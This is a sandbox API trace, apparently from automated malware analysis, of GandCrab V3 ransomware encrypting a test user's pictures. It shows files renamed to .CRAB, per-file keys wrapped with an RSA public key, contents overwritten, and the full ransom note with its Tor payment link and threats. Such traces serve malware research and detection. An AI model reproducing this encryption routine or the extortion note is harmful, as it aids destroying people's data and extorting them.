	[0133.781] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg", dwFileAttributes=0x20) returned 1
	[0133.782] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\purafkjulj3.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\purafkjulj3.jpg.crab")) returned 1
	[0133.783] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.783] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg.CRAB"
	[0133.783] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg.CRAB.CRAB"
	[0133.783] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0133.784] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.785] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.785] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.785] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0133.785] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0133.785] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.785] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0133.786] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.787] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.787] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.787] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0133.787] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.787] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.787] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.787] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.788] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e5a0) returned 1
	[0133.789] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320f050) returned 1
	[0133.789] CryptGetKeyParam (in: hKey=0x320f050, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.789] CryptEncrypt (in: hKey=0x320f050, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0133.789] GetLastError () returned 0x0
	[0133.789] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0133.789] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0133.791] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e4f8) returned 1
	[0133.791] CryptGetKeyParam (in: hKey=0x318e4f8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.791] CryptEncrypt (in: hKey=0x318e4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0133.791] GetLastError () returned 0x0
	[0133.791] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0133.791] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\puRAfkJuLj3.jpg.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\purafkjulj3.jpg.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0133.792] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0133.792] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0133.792] ReadFile (in: hFile=0x3e8, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314d46c*=0x163f6, lpOverlapped=0x0) returned 1
	[0133.804] VirtualAlloc (lpAddress=0x0, dwSize=0x16400, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0133.806] VirtualAlloc (lpAddress=0x0, dwSize=0x16400, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0133.808] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.809] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffe9c0a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.809] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x16400, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x16400, lpOverlapped=0x0) returned 1
	[0133.809] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.810] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.813] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.814] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0133.814] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0133.814] CloseHandle (hObject=0x3e8) returned 1
	[0133.814] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.814] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.814] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.815] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.815] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.815] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.815] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.815] lstrcmpW (lpString1="Saved Pictures", lpString2=".") returned 1
	[0133.815] lstrcmpW (lpString1="Saved Pictures", lpString2="..") returned 1
	[0133.815] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="Saved Pictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures"
	[0133.816] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\"
	[0133.816] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0133.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0133.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0133.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0133.816] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0133.816] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0133.816] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0133.816] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0133.816] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0133.816] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0133.817] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.817] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\\\CRAB-DECRYPT.txt") returned 63
	[0133.817] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\saved pictures\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0133.818] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0133.818] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0133.819] CloseHandle (hObject=0x3e8) returned 1
	[0133.819] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.819] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\") returned 46
	[0133.819] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*"
	[0133.819] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x32481f0
	[0133.819] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0133.819] FindNextFileW (in: hFindFile=0x32481f0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.819] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0133.820] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0133.820] FindNextFileW (in: hFindFile=0x32481f0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.820] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0133.820] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0133.820] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\CRAB-DECRYPT.txt"
	[0133.820] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.820] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\CRAB-DECRYPT.txt") returned 62
	[0133.820] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\CRAB-DECRYPT.txt") returned 62
	[0133.820] lstrlenW (lpString=".txt") returned 4
	[0133.820] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.820] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0133.820] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.821] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\CRAB-DECRYPT.txt") returned 62
	[0133.821] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\CRAB-DECRYPT.txt") returned 62
	[0133.821] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0133.821] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0133.821] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0133.821] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0133.821] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0133.821] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0133.821] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0133.821] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0133.821] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0133.821] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.821] FindNextFileW (in: hFindFile=0x32481f0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0133.821] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0133.821] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0133.821] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini"
	[0133.821] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.822] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini") returned 57
	[0133.822] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini") returned 57
	[0133.834] lstrlenW (lpString=".ini") returned 4
	[0133.834] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.834] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0133.834] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.835] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini") returned 57
	[0133.835] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Saved Pictures\\desktop.ini") returned 57
	[0133.835] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0133.835] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.835] FindNextFileW (in: hFindFile=0x32481f0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0133.835] FindClose (in: hFindFile=0x32481f0 | out: hFindFile=0x32481f0) returned 1
	[0133.835] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0133.835] lstrcmpW (lpString1="v68NdgPpq-11PAYAj-o.gif", lpString2=".") returned 1
	[0133.835] lstrcmpW (lpString1="v68NdgPpq-11PAYAj-o.gif", lpString2="..") returned 1
	[0133.835] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\", lpString2="v68NdgPpq-11PAYAj-o.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif"
	[0133.835] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0133.836] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif") returned 54
	[0133.836] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif") returned 54
	[0133.836] lstrlenW (lpString=".gif") returned 4
	[0133.836] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.836] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0133.836] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.836] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif") returned 54
	[0133.836] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif") returned 54
	[0133.836] lstrcmpiW (lpString1="v68NdgPpq-11PAYAj-o.gif", lpString2="desktop.ini") returned 1
	[0133.836] lstrcmpiW (lpString1="v68NdgPpq-11PAYAj-o.gif", lpString2="autorun.inf") returned 1
	[0133.836] lstrcmpiW (lpString1="v68NdgPpq-11PAYAj-o.gif", lpString2="ntuser.dat") returned 1
	[0133.836] lstrcmpiW (lpString1="v68NdgPpq-11PAYAj-o.gif", lpString2="iconcache.db") returned 1
	[0133.836] lstrcmpiW (lpString1="v68NdgPpq-11PAYAj-o.gif", lpString2="bootsect.bak") returned 1
	[0133.837] lstrcmpiW (lpString1="v68NdgPpq-11PAYAj-o.gif", lpString2="boot.ini") returned 1
	[0133.837] lstrcmpiW (lpString1="v68NdgPpq-11PAYAj-o.gif", lpString2="ntuser.dat.log") returned 1
	[0133.837] lstrcmpiW (lpString1="v68NdgPpq-11PAYAj-o.gif", lpString2="thumbs.db") returned 1
	[0133.837] lstrcmpiW (lpString1="v68NdgPpq-11PAYAj-o.gif", lpString2="CRAB-DECRYPT.txt") returned 1
	[0133.837] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0133.837] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif.CRAB") returned 59
	[0133.837] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\v68ndgppq-11payaj-o.gif")) returned 0x20
	[0133.837] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif", dwFileAttributes=0x20) returned 1
	[0133.838] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\v68ndgppq-11payaj-o.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\v68ndgppq-11payaj-o.gif.crab")) returned 1
	[0133.839] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0133.839] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif.CRAB"
	[0133.839] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\v68NdgPpq-11PAYAj-o.gif.CRAB.CRAB"
	[0133.839] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6eb78) returned 1
	[0133.840] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.841] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.841] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.841] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0133.841] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0133.841] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.841] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0133.842] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0133.843] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0133.843] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0133.843] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0133.843] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0133.843] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0133.843] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0133.844] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0133.844] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e5a0) returned 1
	[0133.845] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x3249270) returned 1
	[0133.845] CryptGetKeyParam (in: hKey=0x3249270, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0133.845] CryptEncrypt (in: hKey=0x3249270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0133.846] GetLastError () returned 0x0
	[0133.846] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0133.846] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e5a0) returned 1
